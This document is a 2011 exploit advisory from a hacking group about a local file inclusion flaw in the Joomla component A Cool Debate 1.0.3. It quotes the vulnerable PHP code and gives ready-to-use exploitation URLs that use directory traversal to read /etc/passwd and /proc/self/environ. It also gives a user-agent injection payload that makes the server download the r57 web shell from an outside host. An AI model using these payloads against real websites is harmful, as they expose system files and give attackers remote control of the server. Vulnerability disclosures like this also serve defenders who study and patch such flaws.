Joomla A Cool Debate 1.0.3 Local File Inclusion

`A Cool Debate 1.0.3 Component Joomla Local File Inclusion  
=========================================================================================  
  
- Discovered by : Chip D3 Bi0s  
- Email : chipdebios[at]gmail[dot]com  
- Group : LatinHackTeam  
- Date : 18 june 2011  
- Where : From Remote  
  
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Affected software description  
  
Application : A Cool Debate  
Developer : oasis fleeting  
version : 1.0.3  
License : GPLv2 or later  
Date Added : 5 June 2011  
Download : http://www.acoolsip.com/development/a-cool-debate.html  
  
I. BACKGROUND  
  
  
When building this component I drew on debate.org as an example. With the upcoming elections in the U.S.A.  
I figure that this will become a very popular extension for joomla. This component integrates with the most  
popular community extensions for joomla, Community Builder, Jomsocial and CBE.  
  
This is the first release candidate of this extension and is ready for users to put it through their test.  
It is free and still in an early stage.  
  
Debate or debating is a formal method of interactive and representational argument. Debate is a broader  
form of argument than logical argument, which only examines consistency from axiom, and factual argument,  
which only examines what is or isn't the case or rhetoric which is a technique of persuasion. Though logical  
consistency, factual accuracy and some degree of emotional appeal to the audience are important elements of the  
art of persuasion, in debating, one side often prevails over the other side by presenting a superior "context" and/or  
framework of the issue, which is far more subtle and strategic.  
  
II. DESCRIPTION  
  
Some Local File inclusion vulnerabilities exist in Component A Cool Debate 1.0.3.  
  
  
  
III. ANALYSIS  
  
The bug is in the following files, specifying the lines in  
  
components/com_acooldebate/acooldebate.php  
  
  
  
// Require specific controller if requested  
if($controller = JRequest::getVar('controller')) {  
require_once (JPATH_COMPONENT.DS.'controllers'.DS.$controller.'.php');  
  
Explanation:As noted in the line [16] $controller  
nowhere is filtered, which result is lfi as is known to pass '.php' use %00 :)  
  
  
IV. EXPLOITATION  
it is logical that {LFI} depends on the number of directories served,  
which can be assumed when the error it prints on the web  
  
http://site/path/index.php?option=com_acooldebate&controller={LFI}  
{LFI}=../../../../../../../../../../etc/passwd%00  
{LFI}=../../../../../../../../../../proc/self/environ%00  
  
  
  
changing the user agent for something so:  
<?system('wget http://chipdebios.com/r57.txt -O r57.php');?>  
  
A special greeting to my good friends:  
R4y0k3nt, ecore, J3h3s, r0i & pc Marquesita :)  
  
  
  
+++++++++++++++++++++++++++++++++++++++  
[!] Produced in South America  
+++++++++++++++++++++++++++++++++++++++  
  
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